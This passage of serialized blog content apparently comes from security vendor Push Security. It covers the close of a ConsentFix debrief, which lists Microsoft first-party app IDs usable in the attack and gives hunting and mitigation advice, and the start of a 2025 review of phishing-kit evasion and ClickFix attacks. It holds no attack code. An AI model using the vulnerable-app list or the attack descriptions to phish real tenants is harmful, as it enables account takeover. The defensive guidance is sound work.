detecting or blocking the attack. ",{"data":78966,"content":78967,"nodeType":866},{},[78968],{"data":78969,"marks":78970,"value":78971,"nodeType":865},{},[],"But cutting through the marketing, a lot of really great resources and recommendations were shared. ",{"data":78973,"content":78974,"nodeType":1317},{},[78975],{"data":78976,"marks":78977,"value":78979,"nodeType":865},{},[78978],{"type":926},"V2.0 released by John Hammond",{"data":78981,"content":78982,"nodeType":866},{},[78983,78987,78995],{"data":78984,"marks":78985,"value":78986,"nodeType":865},{},[],"Within days, John Hammond ",{"data":78988,"content":78989,"nodeType":889},{"uri":78648},[78990],{"data":78991,"marks":78992,"value":78994,"nodeType":865},{},[78993],{"type":943},"posted about ConsentFix on his Youtube channel",{"data":78996,"marks":78997,"value":78998,"nodeType":865},{},[],", where he showed off a slick improvement on the ConsentFix implementation used by attackers. In his version, the URL containing the Microsoft authorization code was generated in a pop-up browser window that could simply be drag-and-dropped into the phishing page. ",{"data":79000,"content":79001,"nodeType":866},{},[79002],{"data":79003,"marks":79004,"value":79005,"nodeType":865},{},[],"This implementation is way smoother, making it much more likely that a victim would fall for it. And this took a matter of days… ",{"data":79007,"content":79010,"nodeType":912},{"target":79008},{"sys":79009},{"id":52445,"type":909,"linkType":910},[],{"data":79012,"content":79013,"nodeType":1317},{},[79014],{"data":79015,"marks":79016,"value":79018,"nodeType":865},{},[79017],{"type":926},"Additional vulnerable first-party apps identified",{"data":79020,"content":79021,"nodeType":866},{},[79022,79026,79035],{"data":79023,"marks":79024,"value":79025,"nodeType":865},{},[],"Fabian Bader and Dirk-jan Mollema from Glueck Kanja have ",{"data":79027,"content":79029,"nodeType":889},{"uri":79028},"https://entrascopes.com/?bypass=true&authcodeFix=true",[79030],{"data":79031,"marks":79032,"value":79034,"nodeType":865},{},[79033],{"type":943},"shared a great resource",{"data":79036,"marks":79037,"value":79038,"nodeType":865},{},[]," on wider first-party apps that are vulnerable to ConsentFix. ",{"data":79040,"content":79041,"nodeType":866},{},[79042,79046,79055],{"data":79043,"marks":79044,"value":79045,"nodeType":865},{},[],"In total, there are 11 apps vulnerable to ConsentFix that also have known ",{"data":79047,"content":79049,"nodeType":889},{"uri":79048},"https://cloudbrothers.info/conditional-access-bypasses/#documented-bypasses",[79050],{"data":79051,"marks":79052,"value":79054,"nodeType":865},{},[79053],{"type":943},"Conditional Access exclusions",{"data":79056,"marks":79057,"value":79058,"nodeType":865},{},[]," (either for the app generally, or when specific scopes are requested for the app):",{"data":79060,"content":79061,"nodeType":1616},{},[79062,79072,79082,79092,79102,79112,79122,79132,79142,79152,79162],{"data":79063,"content":79064,"nodeType":1570},{},[79065],{"data":79066,"content":79067,"nodeType":866},{},[79068],{"data":79069,"marks":79070,"value":79071,"nodeType":865},{},[],"Microsoft Azure CLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46",{"data":79073,"content":79074,"nodeType":1570},{},[79075],{"data":79076,"content":79077,"nodeType":866},{},[79078],{"data":79079,"marks":79080,"value":79081,"nodeType":865},{},[],"Microsoft Azure PowerShell: 1950a258-227b-4e31-a9cf-717495945fc2",{"data":79083,"content":79084,"nodeType":1570},{},[79085],{"data":79086,"content":79087,"nodeType":866},{},[79088],{"data":79089,"marks":79090,"value":79091,"nodeType":865},{},[],"Microsoft Teams: 1fec8e78-bce4-4aaf-ab1b-5451cc387264",{"data":79093,"content":79094,"nodeType":1570},{},[79095],{"data":79096,"content":79097,"nodeType":866},{},[79098],{"data":79099,"marks":79100,"value":79101,"nodeType":865},{},[],"Microsoft Whiteboard Client: 57336123-6e14-4acc-8dcf-287b6088aa28",{"data":79103,"content":79104,"nodeType":1570},{},[79105],{"data":79106,"content":79107,"nodeType":866},{},[79108],{"data":79109,"marks":79110,"value":79111,"nodeType":865},{},[],"Microsoft Flow Mobile PROD-GCCH-CN: 57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0",{"data":79113,"content":79114,"nodeType":1570},{},[79115],{"data":79116,"content":79117,"nodeType":866},{},[79118],{"data":79119,"marks":79120,"value":79121,"nodeType":865},{},[],"Enterprise Roaming and Backup: 60c8bde5-3167-4f92-8fdb-059f6176dc0",{"data":79123,"content":79124,"nodeType":1570},{},[79125],{"data":79126,"content":79127,"nodeType":866},{},[79128],{"data":79129,"marks":79130,"value":79131,"nodeType":865},{},[],"Visual Studio: 872cd9fa-d31f-45e0-9eab-6e460a02d1f1",{"data":79133,"content":79134,"nodeType":1570},{},[79135],{"data":79136,"content":79137,"nodeType":866},{},[79138],{"data":79139,"marks":79140,"value":79141,"nodeType":865},{},[],"Aadrm Admin Powershell: 90f610bf-206d-4950-b61d-37fa6fd1b224",{"data":79143,"content":79144,"nodeType":1570},{},[79145],{"data":79146,"content":79147,"nodeType":866},{},[79148],{"data":79149,"marks":79150,"value":79151,"nodeType":865},{},[],"Microsoft SharePoint Online Management Shell: 9bc3ab49-b65d-410a-85ad-de819febfddc",{"data":79153,"content":79154,"nodeType":1570},{},[79155],{"data":79156,"content":79157,"nodeType":866},{},[79158],{"data":79159,"marks":79160,"value":79161,"nodeType":865},{},[],"Microsoft Power Query for Excel: a672d62c-fc7b-4e81-a576-e60dc46e951d",{"data":79163,"content":79164,"nodeType":1570},{},[79165],{"data":79166,"content":79167,"nodeType":866},{},[79168],{"data":79169,"marks":79170,"value":79171,"nodeType":865},{},[],"Visual Studio Code: aebc6443-996d-45c2-90f0-388ff96faa56",{"data":79173,"content":79174,"nodeType":972},{},[],{"data":79176,"content":79177,"nodeType":981},{},[79178],{"data":79179,"marks":79180,"value":79182,"nodeType":865},{},[79181],{"type":926},"Predictions for ConsentFix",{"data":79184,"content":79185,"nodeType":866},{},[79186],{"data":79187,"marks":79188,"value":79189,"nodeType":865},{},[],"Based on the speed at which new iterations on the ConsentFix technique were shared by security researchers, and the breadth of apps and possible scopes that can be leveraged, both red teams and criminals will inevitably adopt ConsentFix into their arsenal of TTPs in the near future. It is likely that new ConsentFix variants will emerge imminently (if not already in circulation). ",{"data":79191,"content":79192,"nodeType":866},{},[79193],{"data":79194,"marks":79195,"value":79196,"nodeType":865},{},[],"All security teams responsible for protecting Microsoft environments should ensure that monitoring controls and mitigations are put in place as a matter of high priority. ",{"data":79198,"content":79199,"nodeType":972},{},[],{"data":79201,"content":79202,"nodeType":981},{},[79203],{"data":79204,"marks":79205,"value":79207,"nodeType":865},{},[79206],{"type":926},"Updated recommendations for security teams",{"data":79209,"content":79210,"nodeType":866},{},[79211],{"data":79212,"marks":79213,"value":79214,"nodeType":865},{},[],"As an entirely browser-native attack technique, many traditional security tools and data sources are of limited use when it comes to detecting or pre-emptively blocking this attack. At the same time, the attack exploits default Microsoft security configs to evade both prevention and detection controls.",{"data":79216,"content":79217,"nodeType":866},{},[79218],{"data":79219,"marks":79220,"value":79221,"nodeType":865},{},[],"To be able to tackle modern attacks like ConsentFix that occur entirely within the browser context, it is vital that organizations look to monitor the browser as a detection surface, hunt for signs of malicious activity, and block attacks in real-time — in the same way that you would expect EDR to work for endpoint attacks. ",{"data":79223,"content":79224,"nodeType":866},{},[79225],{"data":79226,"marks":79227,"value":79228,"nodeType":865},{},[],"For organizations relying on Microsoft logging as the sole line of defense against this attack, there are some new recommendations to add to the list thanks to the community response: ",{"data":79230,"content":79231,"nodeType":1616},{},[79232,79255,79265,79286],{"data":79233,"content":79234,"nodeType":1570},{},[79235],{"data":79236,"content":79237,"nodeType":866},{},[79238,79242,79251],{"data":79239,"marks":79240,"value":79241,"nodeType":865},{},[],"Ensure that logging for the deprecated ",{"data":79243,"content":79245,"nodeType":889},{"uri":79244},"https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/aadgraphactivitylogs",[79246],{"data":79247,"marks":79248,"value":79250,"nodeType":865},{},[79249],{"type":943},"AADGraphActivityLogs",{"data":79252,"marks":79253,"value":79254,"nodeType":865},{},[]," is enabled.",{"data":79256,"content":79257,"nodeType":1570},{},[79258],{"data":79259,"content":79260,"nodeType":866},{},[79261],{"data":79262,"marks":79263,"value":79264,"nodeType":865},{},[],"Hunt in logs for the Application IDs highlighted above, along with the Resource IDs for Windows Azure Active Directory (00000002-0000-0000-c000-000000000000) and Microsoft Intune Checkin (26a4ae64-5862-427f-a9b0-044e62572a4f)",{"data":79266,"content":79267,"nodeType":1570},{},[79268],{"data":79269,"content":79270,"nodeType":866},{},[79271,79274,79282],{"data":79272,"marks":79273,"value":21,"nodeType":865},{},[],{"data":79275,"content":79276,"nodeType":889},{"uri":52784},[79277],{"data":79278,"marks":79279,"value":79281,"nodeType":865},{},[79280],{"type":943},"Create Service Principals for each of the vulnerable apps and restrict the users that are authorized to access them",{"data":79283,"marks":79284,"value":79285,"nodeType":865},{},[]," to reduce the attack surface of users that can be phished with this method.",{"data":79287,"content":79288,"nodeType":1570},{},[79289],{"data":79290,"content":79291,"nodeType":866},{},[79292],{"data":79293,"marks":79294,"value":79295,"nodeType":865},{},[],"Block access to CLI tools via Conditional Access policy and issue exclusions for authorized users/groups. ",{"data":79297,"content":79298,"nodeType":866},{},[79299,79303,79312,79316,79323],{"data":79300,"marks":79301,"value":79302,"nodeType":865},{},[],"Additional resources that may be of use include community-created ",{"data":79304,"content":79306,"nodeType":889},{"uri":79305},"https://github.com/elastic/detection-rules/pull/5485",[79307],{"data":79308,"marks":79309,"value":79311,"nodeType":865},{},[79310],{"type":943},"Elastic detection rules",{"data":79313,"marks":79314,"value":79315,"nodeType":865},{},[]," for ConsentFix and further mitigation and hunting guidance from ",{"data":79317,"content":79318,"nodeType":889},{"uri":78672},[79319],{"data":79320,"marks":79321,"value":78678,"nodeType":865},{},[79322],{"type":943},{"data":79324,"marks":79325,"value":14251,"nodeType":865},{},[],{"data":79327,"content":79328,"nodeType":972},{},[],{"data":79330,"content":79331,"nodeType":981},{},[79332],{"data":79333,"marks":79334,"value":79336,"nodeType":865},{},[79335],{"type":926},"Learn more about Push Security",{"data":79338,"content":79339,"nodeType":866},{},[79340],{"data":79341,"marks":79342,"value":67296,"nodeType":865},{},[],{"data":79344,"content":79345,"nodeType":866},{},[79346],{"data":79347,"marks":79348,"value":79349,"nodeType":865},{},[],"Push tackles browser-based attacks using behavioral threat detection controls, powered by deep browser telemetry, to provide broad detection and blocking capabilities against attacks happening in the browser. This means analyzing the end-to-end process of a webpage loading/running in the browser, and how the user interacts with the page, to spot universal indicators of bad activity. ",{"data":79351,"content":79352,"nodeType":866},{},[79353],{"data":79354,"marks":79355,"value":79356,"nodeType":865},{},[],"This is the only reliable way to detect malicious websites in a world where IoC-based detections are trivial for attackers to get around. Rather than playing known-bad whac-a-mole, Push detects and blocks even zero-day browser threats in real time.",{"data":79358,"content":79359,"nodeType":866},{},[79360],{"data":79361,"marks":79362,"value":79363,"nodeType":865},{},[],"Push stops browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, ConsentFix, and session hijacking. You don’t need to wait until it all goes wrong either — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":79365,"content":79366,"nodeType":866},{},[79367,79370,79377,79380,79387],{"data":79368,"marks":79369,"value":11372,"nodeType":865},{},[],{"data":79371,"content":79372,"nodeType":889},{"uri":11375},[79373],{"data":79374,"marks":79375,"value":11381,"nodeType":865},{},[79376],{"type":943},{"data":79378,"marks":79379,"value":53880,"nodeType":865},{},[],{"data":79381,"content":79382,"nodeType":889},{"uri":1372},[79383],{"data":79384,"marks":79385,"value":11405,"nodeType":865},{},[79386],{"type":943},{"data":79388,"marks":79389,"value":1615,"nodeType":865},{},[],{"data":79391,"content":79395,"nodeType":912},{"target":79392},{"sys":79393},{"id":79394,"type":909,"linkType":910},"4D7zpYAc1tTEAmn2hpkWPe",[],{"data":79397,"content":79398,"nodeType":866},{},[79399],{"data":79400,"marks":79401,"value":21,"nodeType":865},{},[],"ConsentFix debrief: latest community insights, recommendations, and predictions","New insights on the ConsentFix campaign stopped by Push.","2026-01-14T00:00:00.000Z","consentfix-debrief",{"items":79407},[79408,79410],{"sys":79409,"name":342},{"id":4642},{"sys":79411,"name":7796},{"id":7795},{"items":79413},[79414],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":79415},{"url":7804},{"__typename":1429,"sys":79417,"content":79419,"title":80702,"synopsis":80703,"hashTags":59,"publishedDate":80704,"slug":80705,"tagsCollection":80706,"authorsCollection":80712},{"id":79418},"37KWV8V5L3aNZBSx6JMd0Z",{"json":79420},{"data":79421,"content":79422,"nodeType":1382},{},[79423,79430,79437,79498,79505,79574,79580,79587,79594,79597,79604,79611,79618,79720,79739,79746,79788,79795,79802,79809,79842,79848,79880,79886,79893,79900,79933,79953,79956,79963,79969,80000,80007,80014,80021,80027,80034,80040,80055,80098,80104,80123,80126,80133,80139,80159,80166,80195,80214,80220,80241,80248,80255,80315,80322,80328,80342,80356,80376,80382,80403,80410,80413,80420,80426,80433,80440,80460,80466,80486,80492,80499,80532,80550,80553,80560,80566,80573,80593,80599,80614,80620,80627,80634,80653,80656,80662,80669,80676],{"data":79424,"content":79425,"nodeType":866},{},[79426],{"data":79427,"marks":79428,"value":79429,"nodeType":865},{},[],"Looking back over the year’s headlines and trending TTPs, it’s clear that 2025 was the year that browser-based account takeover techniques made the leap into the mainstream.",{"data":79431,"content":79432,"nodeType":866},{},[79433],{"data":79434,"marks":79435,"value":79436,"nodeType":865},{},[],"A few stats tell the story …",{"data":79438,"content":79439,"nodeType":1616},{},[79440,79459,79478],{"data":79441,"content":79442,"nodeType":1570},{},[79443],{"data":79444,"content":79445,"nodeType":866},{},[79446,79450,79456],{"data":79447,"marks":79448,"value":79449,"nodeType":865},{},[],"Identity-based attacks surged by 32% over the last year, and 97% of identity attacks were password-based, driven by a combination of credential leaks and infostealer malware. (",{"data":79451,"content":79452,"nodeType":889},{"uri":53672},[79453],{"data":79454,"marks":79455,"value":8641,"nodeType":865},{},[],{"data":79457,"marks":79458,"value":53681,"nodeType":865},{},[],{"data":79460,"content":79461,"nodeType":1570},{},[79462],{"data":79463,"content":79464,"nodeType":866},{},[79465,79469,79475],{"data":79466,"marks":79467,"value":79468,"nodeType":865},{},[],"ClickFix was the most common initial point of access for adversaries in the past year, accounting for a whopping 47% of observed attacks. (",{"data":79470,"content":79471,"nodeType":889},{"uri":53672},[79472],{"data":79473,"marks":79474,"value":8641,"nodeType":865},{},[],{"data":79476,"marks":79477,"value":53681,"nodeType":865},{},[],{"data":79479,"content":79480,"nodeType":1570},{},[79481],{"data":79482,"content":79483,"nodeType":866},{},[79484,79488,79495],{"data":79485,"marks":79486,"value":79487,"nodeType":865},{},[],"Pure malware-based attacks declined, as adversaries continued to shift from targeting endpoints to corporate identities. In the last year-plus, 79% of detections were malware-free, up from 40% in 2019. And abuse of valid accounts was responsible for more than one-third of all cloud-related incidents. (",{"data":79489,"content":79490,"nodeType":889},{"uri":53694},[79491],{"data":79492,"marks":79493,"value":79494,"nodeType":865},{},[],"Crowdstrike",{"data":79496,"marks":79497,"value":53681,"nodeType":865},{},[],{"data":79499,"content":79500,"nodeType":866},{},[79501],{"data":79502,"marks":79503,"value":79504,"nodeType":865},{},[],"… and so do the headlines from 2025:",{"data":79506,"content":79507,"nodeType":1616},{},[79508,79527,79555],{"data":79509,"content":79510,"nodeType":1570},{},[79511],{"data":79512,"content":79513,"nodeType":866},{},[79514,79518,79523],{"data":79515,"marks":79516,"value":79517,"nodeType":865},{},[],"Attackers stole over ",{"data":79519,"marks":79520,"value":79522,"nodeType":865},{},[79521],{"type":926},"1.5 billion records",{"data":79524,"marks":79525,"value":79526,"nodeType":865},{},[]," from an estimated 1,000+ Salesforce tenants by exploiting integrations (Salesloft, Gainsight), phishing credentials, and by tricking users into installing a malicious OAuth app.",{"data":79528,"content":79529,"nodeType":1570},{},[79530],{"data":79531,"content":79532,"nodeType":866},{},[79533,79537,79542,79546,79551],{"data":79534,"marks":79535,"value":79536,"nodeType":865},{},[],"Marks & Spencer was hit with a help desk scam that led to a compromised Microsoft Entra account, followed by a ransomware deployment resulting in months of disruption, ",{"data":79538,"marks":79539,"value":79541,"nodeType":865},{},[79540],{"type":926},"$400M",{"data":79543,"marks":79544,"value":79545,"nodeType":865},{},[]," in lost profits, and around ",{"data":79547,"marks":79548,"value":79550,"nodeType":865},{},[79549],{"type":926},"$1.3B",{"data":79552,"marks":79553,"value":79554,"nodeType":865},{},[]," wiped off their stock market valuation at one stage.",{"data":79556,"content":79557,"nodeType":1570},{},[79558],{"data":79559,"content":79560,"nodeType":866},{},[79561,79565,79570],{"data":79562,"marks":79563,"value":79564,"nodeType":865},{},[],"Jaguar Land Rover was compromised via highly privileged admin accounts — another help desk scam targeting workforce credentials for initial access — resulting in months of disruption that led the UK government to underwrite a ",{"data":79566,"marks":79567,"value":79569,"nodeType":865},{},[79568],{"type":926},"$1.5B",{"data":79571,"marks":79572,"value":79573,"nodeType":865},{},[]," loan to alleviate the supply chain impact. This was the most economically consequential cyber attack yet recorded in a G7 economy.",{"data":79575,"content":79579,"nodeType":912},{"target":79576},{"sys":79577},{"id":79578,"type":909,"linkType":910},"v5YYnjP2NViOh6Ucxp2Fe",[],{"data":79581,"content":79582,"nodeType":866},{},[79583],{"data":79584,"marks":79585,"value":79586,"nodeType":865},{},[],"At Push, we’ve been closely tracking the evolution of browser-based attacks. Looking back at 2025, we’ve seen a notable increase in the sophistication and frequency of modern attack techniques methods like ClickFix, commodified phish kits that bypass MFA, malicious browser extensions, and many more. (Writing phish kit teardowns for the Push blog is practically a full-time job now.)",{"data":79588,"content":79589,"nodeType":866},{},[79590],{"data":79591,"marks":79592,"value":79593,"nodeType":865},{},[],"In this article, we’ll take a look at how real-world attacks and our own research drove the features we delivered for Push customers this year to take the fight to adversaries.",{"data":79595,"content":79596,"nodeType":972},{},[],{"data":79598,"content":79599,"nodeType":981},{},[79600],{"data":79601,"marks":79602,"value":79603,"nodeType":865},{},[],"Detecting and blocking increasingly sophisticated phishing-as-a-service tools",{"data":79605,"content":79606,"nodeType":1317},{},[79607],{"data":79608,"marks":79609,"value":79610,"nodeType":865},{},[],"What happened",{"data":79612,"content":79613,"nodeType":866},{},[79614],{"data":79615,"marks":79616,"value":79617,"nodeType":865},{},[],"The current state of the art for phishing centers on three core developments:",{"data":79619,"content":79620,"nodeType":1616},{},[79621,79650,79691],{"data":79622,"content":79623,"nodeType":1570},{},[79624],{"data":79625,"content":79626,"nodeType":866},{},[79627,79632,79636,79646],{"data":79628,"marks":79629,"value":79631,"nodeType":865},{},[79630],{"type":926},"Detection evasion: ",{"data":79633,"marks":79634,"value":79635,"nodeType":865},{},[],"Adversaries demonstrated a ",{"data":79637,"content":79641,"nodeType":33606},{"target":79638},{"sys":79639},{"id":79640,"type":909,"linkType":910},"4XZ6qCr8pjJvcD7hi09x2Y",[79642],{"data":79643,"marks":79644,"value":79645,"nodeType":865},{},[],"creative array of approaches",{"data":79647,"marks":79648,"value":79649,"nodeType":865},{},[]," this year to hide their intentions from end-users and defenders, using methods such as sending phishing emails from legitimate services; serving phishing pages via malvertising and SEO poisoning; and obfuscating URLs. More sophisticated techniques used page-level obfuscation, cross-domain iframes, single-use links, and legitimate OIDC logins to evade detection and analysis from traditional tools.",{"data":79651,"content":79652,"nodeType":1570},{},[79653],{"data":79654,"content":79655,"nodeType":866},{},[79656,79661,79665,79674,79678,79688],{"data":79657,"marks":79658,"value":79660,"nodeType":865},{},[79659],{"type":926},"Multi-channel delivery of lures:",{"data":79662,"marks":79663,"value":79664,"nodeType":865},{},[]," Adversaries proved the truism of “phishing doesn’t just happen in the mailbox” this year by increasing their observed use of ",{"data":79666,"content":79670,"nodeType":33606},{"target":79667},{"sys":79668},{"id":79669,"type":909,"linkType":910},"72lLmy0CXnOp3LWOdcUguX",[79671],{"data":79672,"marks":79673,"value":441,"nodeType":865},{},[],{"data":79675,"marks":79676,"value":79677,"nodeType":865},{},[]," and SEO poisoning — techniques that place malicious pages within trusted contexts like the Google search engine results page — as well as the use of social media services like LinkedIn to ",{"data":79679,"content":79683,"nodeType":33606},{"target":79680},{"sys":79681},{"id":79682,"type":909,"linkType":910},"2yEhB2gFC2TJDLquVP3cg2",[79684],{"data":79685,"marks":79686,"value":79687,"nodeType":865},{},[],"deliver phishing lures",{"data":79689,"marks":79690,"value":6719,"nodeType":865},{},[],{"data":79692,"content":79693,"nodeType":1570},{},[79694],{"data":79695,"content":79696,"nodeType":866},{},[79697,79702,79706,79716],{"data":79698,"marks":79699,"value":79701,"nodeType":865},{},[79700],{"type":926},"Commodification of phishing toolkits:",{"data":79703,"marks":79704,"value":79705,"nodeType":865},{},[]," Phishing-as-a-service (PhaaS) kits have become another SaaS with their own supply chain, including developers of malicious tooling, operators who run the campaigns, and brokers who sell stolen credentials and tokens. The incentives for attackers are clear: quick ROI from targeting workforce identities, and out-of-the-box tools that make it easier to efficiently spin up new campaigns or try new techniques. As with any SaaS offering, the customer (attackers, in this case) benefits from rapid innovations they didn’t have to build. We saw this recently with the ",{"data":79707,"content":79711,"nodeType":33606},{"target":79708},{"sys":79709},{"id":79710,"type":909,"linkType":910},"6QLonRmBzbj9h88Y7jD0LU",[79712],{"data":79713,"marks":79714,"value":79715,"nodeType":865},{},[],"addition of a browser-in-the-browser (BitB) technique",{"data":79717,"marks":79718,"value":79719,"nodeType":865},{},[]," to the phish kit Sneaky2FA — a change that makes it even more effective.",{"data":79721,"content":79722,"nodeType":866},{},[79723,79727,79735],{"data":79724,"marks":79725,"value":79726,"nodeType":865},{},[],"In 2025, Push researchers tracked how each of these developments expanded in scope and sophistication. Check out our ",{"data":79728,"content":79730,"nodeType":889},{"uri":79729},"https://pushsecurity.github.io/phishing-techniques/",[79731],{"data":79732,"marks":79733,"value":79734,"nodeType":865},{},[],"phishing detection evasion techniques matrix",{"data":79736,"marks":79737,"value":79738,"nodeType":865},{},[]," on Github for more detail. ",{"data":79740,"content":79741,"nodeType":866},{},[79742],{"data":79743,"marks":79744,"value":79745,"nodeType":865},{},[],"The takeaways for security teams?",{"data":79747,"content":79748,"nodeType":1616},{},[79749,79759,79778],{"data":79750,"content":79751,"nodeType":1570},{},[79752],{"data":79753,"content":79754,"nodeType":866},{},[79755],{"data":79756,"marks":79757,"value":79758,"nodeType":865},{},[],"You can’t block your way to safety when adversaries are using the same legitimate apps that your employees use.",{"data":79760,"content":79761,"nodeType":1570},{},[79762],{"data":79763,"content":79764,"nodeType":866},{},[79765,79769,79774],{"data":79766,"marks":79767,"value":79768,"nodeType":865},{},[],"Similarly, while end-user training is important, it’s not reasonable to expect employees to know when a SharePoint document link is malicious when it looks identical to the ones they trust every day — because adversaries ",{"data":79770,"marks":79771,"value":79773,"nodeType":865},{},[79772],{"type":898},"are using the legitimate service",{"data":79775,"marks":79776,"value":79777,"nodeType":865},{},[],". Push researchers have observed the abuse of hundreds of legitimate services in phishing attacks this year.",{"data":79779,"content":79780,"nodeType":1570},{},[79781],{"data":79782,"content":79783,"nodeType":866},{},[79784],{"data":79785,"marks":79786,"value":79787,"nodeType":865},{},[],"Security solutions need to be able to analyze real-time context and behavior, not rely solely on inferences from secondary characteristics like domain reputation.",{"data":79789,"content":79790,"nodeType":866},{},[79791],{"data":79792,"marks":79793,"value":79794,"nodeType":865},{},[],"Here's what we built to help defend organizations.",{"data":79796,"content":79797,"nodeType":1317},{},[79798],{"data":79799,"marks":79800,"value":79801,"nodeType":865},{},[],"What we built",{"data":79803,"content":79804,"nodeType":866},{},[79805],{"data":79806,"marks":79807,"value":79808,"nodeType":865},{},[],"The feature we built in 2025 that gave us unique insight into these TTPs is Push’s Detections capability. With Detections, you can:",{"data":79810,"content":79811,"nodeType":1616},{},[79812,79822,79832],{"data":79813,"content":79814,"nodeType":1570},{},[79815],{"data":79816,"content":79817,"nodeType":866},{},[79818],{"data":79819,"marks":79820,"value":79821,"nodeType":865},{},[],"Get alerted when Push detects a browser-based attack, and see how the Push agent responded to block the attack. The platform provides a front-end view for quick triage, and you can also pipe the detection events to your SIEM or other platform of choice.",{"data":79823,"content":79824,"nodeType":1570},{},[79825],{"data":79826,"content":79827,"nodeType":866},{},[79828],{"data":79829,"marks":79830,"value":79831,"nodeType":865},{},[],"Review a timeline of the incident: Where a phishing link originated; whether a user entered their credentials; what kind of phishkit was detected; and how Push responded (configurable based on your environment).",{"data":79833,"content":79834,"nodeType":1570},{},[79835],{"data":79836,"content":79837,"nodeType":866},{},[79838],{"data":79839,"marks":79840,"value":79841,"nodeType":865},{},[],"Get actionable telemetry and metadata about an incident, including a screenshot of the malicious page to see exactly what the user saw; intel about the involved domains, including when they were registered and if they’ve been scanned by urlscan before; and the blast radius of an attack, including other apps that shared a password with the potentially compromised account",{"data":79843,"content":79847,"nodeType":912},{"target":79844},{"sys":79845},{"id":79846,"type":909,"linkType":910},"5dygPaG3Gfw4Yeicffv6tV",[],{"data":79849,"content":79850,"nodeType":866},{},[79851,79855,79860,79863,79868,79871,79876],{"data":79852,"marks":79853,"value":79854,"nodeType":865},{},[],"This telemetry — combined with Push’s out-of-the-box controls like ",{"data":79856,"marks":79857,"value":79859,"nodeType":865},{},[79858],{"type":926},"Phishing tool detection",{"data":79861,"marks":79862,"value":2717,"nodeType":865},{},[],{"data":79864,"marks":79865,"value":79867,"nodeType":865},{},[79866],{"type":926},"Cloned login page detection",{"data":79869,"marks":79870,"value":3476,"nodeType":865},{},[],{"data":79872,"marks":79873,"value":79875,"nodeType":865},{},[79874],{"type":926},"Malicious copy and paste detection",{"data":79877,"marks":79878,"value":79879,"nodeType":865},{},[]," (aka ClickFix detection) — give you a seat on the user’s side of the equation, capturing real-time information about what users did and the TTPs of an attack so you can investigate and respond efficiently and confidently.",{"data":79881,"content":79885,"nodeType":912},{"target":79882},{"sys":79883},{"id":79884,"type":909,"linkType":910},"563fJFSgoLDOwSXSQ9Y0MM",[],{"data":79887,"content":79888,"nodeType":866},{},[79889],{"data":79890,"marks":79891,"value":79892,"nodeType":865},{},[],"With the visibility provided by this telemetry across Push’s install base, our R&D and Product teams have rapidly iterated all year on our detections to increase coverage and respond quickly to newly identified attack types.",{"data":79894,"content":79895,"nodeType":866},{},[79896],{"data":79897,"marks":79898,"value":79899,"nodeType":865},{},[],"This year, we also released:",{"data":79901,"content":79902,"nodeType":1616},{},[79903,79913,79923],{"data":79904,"content":79905,"nodeType":1570},{},[79906],{"data":79907,"content":79908,"nodeType":866},{},[79909],{"data":79910,"marks":79911,"value":79912,"nodeType":865},{},[],"Detections for new variants of cloned login pages and AiTM phish kits.",{"data":79914,"content":79915,"nodeType":1570},{},[79916],{"data":79917,"content":79918,"nodeType":866},{},[79919],{"data":79920,"marks":79921,"value":79922,"nodeType":865},{},[],"12+ pre-release detections focused on flagging emerging attacker techniques.",{"data":79924,"content":79925,"nodeType":1570},{},[79926],{"data":79927,"content":79928,"nodeType":866},{},[79929],{"data":79930,"marks":79931,"value":79932,"nodeType":865},{},[],"7+ first-class SIEM and SOAR integrations, to make it simpler to ingest Push telemetry and operationalize it.",{"data":79934,"content":79935,"nodeType":866},{},[79936,79940,79950],{"data":79937,"marks":79938,"value":79939,"nodeType":865},{},[],"Learn more about Push’s detections features in our ",{"data":79941,"content":79945,"nodeType":33606},{"target":79942},{"sys":79943},{"id":79944,"type":909,"linkType":910},"6OFdfAsoPUECeRAetWvedp",[79946],{"data":79947,"marks":79948,"value":79949,"nodeType":865},{},[],"blog article",{"data":79951,"marks":79952,"value":1615,"nodeType":865},{},[],{"data":79954,"content":79955,"nodeType":972},{},[],{"data":79957,"content":79958,"nodeType":981},{},[79959],{"data":79960,"marks":79961,"value":79962,"nodeType":865},{},[],"Detecting and blocking ClickFix-style malicious copy and paste attacks",{"data":79964,"content":79965,"nodeType":1317},{},[79966],{"data":79967,"marks":79968,"value":79610,"nodeType":865},{},[],{"data":79970,"content":79971,"nodeType":866},{},[79972,79976,79984,79988,79996],{"data":79973,"marks":79974,"value":79975,"nodeType":865},{},[],"ClickFix-style attacks left their mark in 2025, quickly becoming one of the most prevalent attack techniques — with ",{"data":79977,"content":79979,"nodeType":889},{"uri":79978},"https://www.scworld.com/news/clickfix-phishing-links-increased-nearly-400-in-12-months-report-says",[79980],{"data":79981,"marks":79982,"value":79983,"nodeType":865},{},[],"estimates",{"data":79985,"marks":79986,"value":79987,"nodeType":865},{},[]," of a 400 percent year-over-year increase, and another ",{"data":79989,"content":79991,"nodeType":889},{"uri":79990},"https://web-assets.esetstatic.com/wls/en/papers/threat-reports/eset-threat-report-h12025.pdf",[79992],{"data":79993,"marks":79994,"value":79995,"nodeType":865},{},[],"report",{"data":79997,"marks":79998,"value":79999,"nodeType":865},{},[]," documenting a 517 percent growth in just the last 6 months of the year.",{"data":80001,"content":80002,"nodeType":866},{},[80003],{"data":80004,"marks":80005,"value":80006,"nodeType":865},{},[],"What is ClickFix? This attack technique prompts the user to solve some kind of problem or troubleshooting step in the browser — often presented as a CAPTCHA challenge. The key aspect of the attack is that it tricks users into running malicious commands on their device by copying malicious code from the page clipboard and running it locally. (The copy typically occurs  automatically via the page itself, but can also be performed manually by the user.)",{"data":80008,"content":80009,"nodeType":866},{},[80010],{"data":80011,"marks":80012,"value":80013,"nodeType":865},{},[],"These malicious copy and paste attacks are often used to deliver infostealer malware or remote access software, with the attacker’s end goal being stealing session cookies and credentials to facilitate attacks on business apps.",{"data":80015,"content":80016,"nodeType":866},{},[80017],{"data":80018,"marks":80019,"value":80020,"nodeType":865},{},[],"What’s especially challenging about this attack type is that it usually can only be detected after the fact — when a machine is already compromised, or malicious code attempts to execute (if EDR catches it). Even if it is detected, security teams are left flying blind when they try to determine the initial vector for the attack, and which other users might have been 